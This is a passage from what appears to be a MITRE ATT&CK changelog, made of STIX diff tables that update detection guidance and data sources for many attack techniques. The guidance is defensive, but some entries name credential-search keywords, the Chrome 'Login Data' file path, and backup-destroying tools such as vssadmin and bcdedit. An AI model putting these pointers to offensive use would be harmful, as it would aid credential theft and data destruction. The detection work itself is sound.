+Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:11:14.755000+00:00 | 2025-10-24 17:49:34.416000+00:00 |
| x_mitre_detection | The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.
+
+In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).
+
+In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)
+
+Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the "sourceSnapshot": parameter pointed to "global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Service: Service Creation', 'Container: Container Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:11:29.155000+00:00 | 2025-10-24 17:48:24.896000+00:00 |
| x_mitre_detection | Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. + +Monitor for changes to files associated with system-level processes. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Metadata', 'Module: Module Load', 'File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:21.920000+00:00 | 2025-10-24 17:49:37.119000+00:00 |
| x_mitre_detection | Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) + +Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. + +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014) |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:59.077000+00:00 | 2025-10-24 17:49:14.923000+00:00 |
| x_mitre_detection | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. |
Current version: 1.2
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:11:53.342000+00:00 | 2025-10-24 17:49:18.246000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:47.301000+00:00 | 2025-10-24 17:49:03+00:00 |
| x_mitre_detection | While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution', 'Process: Process Access', 'Cloud Service: Cloud Service Enumeration', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:12:11.343000+00:00 | 2025-10-24 17:48:41.974000+00:00 |
| x_mitre_detection | Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Access', 'File: File Access', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:12:28.087000+00:00 | 2025-10-24 17:48:49.577000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.). |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:20.405000+00:00 | 2025-10-24 17:48:37.378000+00:00 |
| x_mitre_detection | Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:16.429000+00:00 | 2025-10-24 17:48:33.856000+00:00 |
| x_mitre_detection | Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. + +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:13:04.812000+00:00 | 2025-10-24 17:49:36.308000+00:00 |
| x_mitre_detection | Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) + +Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:13:20.292000+00:00 | 2025-10-24 17:48:49.941000+00:00 |
| x_mitre_detection | Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes) |
Current version: 1.2
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:13:37.080000+00:00 | 2025-10-24 17:48:24.404000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:18.343000+00:00 | 2025-10-24 17:49:03.093000+00:00 |
| x_mitre_detection | Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:14:14.654000+00:00 | 2025-10-24 17:48:27.611000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:14:34.882000+00:00 | 2025-10-24 17:48:27.172000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'File: File Modification', 'Volume: Volume Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:11.731000+00:00 | 2025-10-24 17:49:27.149000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\.
+
+In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:21.024000+00:00 | 2025-10-24 17:49:23.915000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Cloud Storage: Cloud Storage Modification', 'Network Share: Network Share Access', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:00.731000+00:00 | 2025-10-24 17:49:16.589000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. + +In some cases, monitoring for unusual kernel driver installation activity can aid in detection. + +In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Network Traffic: Network Traffic Flow', 'File: File Deletion', 'File: File Modification', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:14:59.144000+00:00 | 2025-10-24 17:49:13.111000+00:00 |
| x_mitre_detection | Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:57.412000+00:00 | 2025-10-24 17:49:13.380000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:45.225000+00:00 | 2025-10-24 17:49:01.010000+00:00 |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:05.559000+00:00 | 2025-10-24 17:49:20.770000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Cloud Service: Cloud Service Metadata', 'Cloud Storage: Cloud Storage Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:15:26.889000+00:00 | 2025-10-24 17:48:37.187000+00:00 |
| x_mitre_detection | Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:15.147000+00:00 | 2025-10-24 17:48:22.396000+00:00 |
| x_mitre_detection | Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities) |
Current version: 3.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:15:46.213000+00:00 | 2025-10-24 17:49:26.262000+00:00 |
| x_mitre_detection | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + +The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Share: Network Share Access', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:18.881000+00:00 | 2025-10-24 17:49:13.555000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:10.837000+00:00 | 2025-10-24 17:48:28.431000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:36.031000+00:00 | 2025-10-24 17:49:37.828000+00:00 |
| x_mitre_detection | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:16.468000+00:00 | 2025-10-24 17:49:32.196000+00:00 |
| x_mitre_detection | Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. + +Monitor debugger logs for signs of abnormal and potentially malicious activity. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'File: File Creation', 'Application Log: Application Log Content', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:35.374000+00:00 | 2025-10-24 17:48:49.761000+00:00 |
| x_mitre_detection | Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. + + |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:35.610000+00:00 | 2025-10-24 17:48:51.181000+00:00 |
| x_mitre_detection | Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Instance: Instance Metadata', 'Instance: Instance Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:16:21.146000+00:00 | 2025-10-24 17:48:56.705000+00:00 |
| x_mitre_detection | The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.
+
+In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs) |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Script: Script Execution', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:24.400000+00:00 | 2025-10-24 17:48:40.925000+00:00 |
| x_mitre_detection | Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). + +Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Container: Container Start', 'Application Log: Application Log Content', 'Pod: Pod Creation', 'Container: Container Creation', 'Pod: Pod Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:33.230000+00:00 | 2025-10-24 17:48:49.017000+00:00 |
| x_mitre_detection | Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:16:44.365000+00:00 | 2025-10-24 17:49:34.503000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Content', 'Malware Repository: Malware Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:17:05.876000+00:00 | 2025-10-24 17:49:34.675000+00:00 |
| x_mitre_detection | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. + +Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:18:36.653000+00:00 | 2025-10-24 17:48:29.137000+00:00 |
| x_mitre_detection | Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Certificate: Certificate Registration', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:18:17.702000+00:00 | 2025-10-24 17:48:27.525000+00:00 |
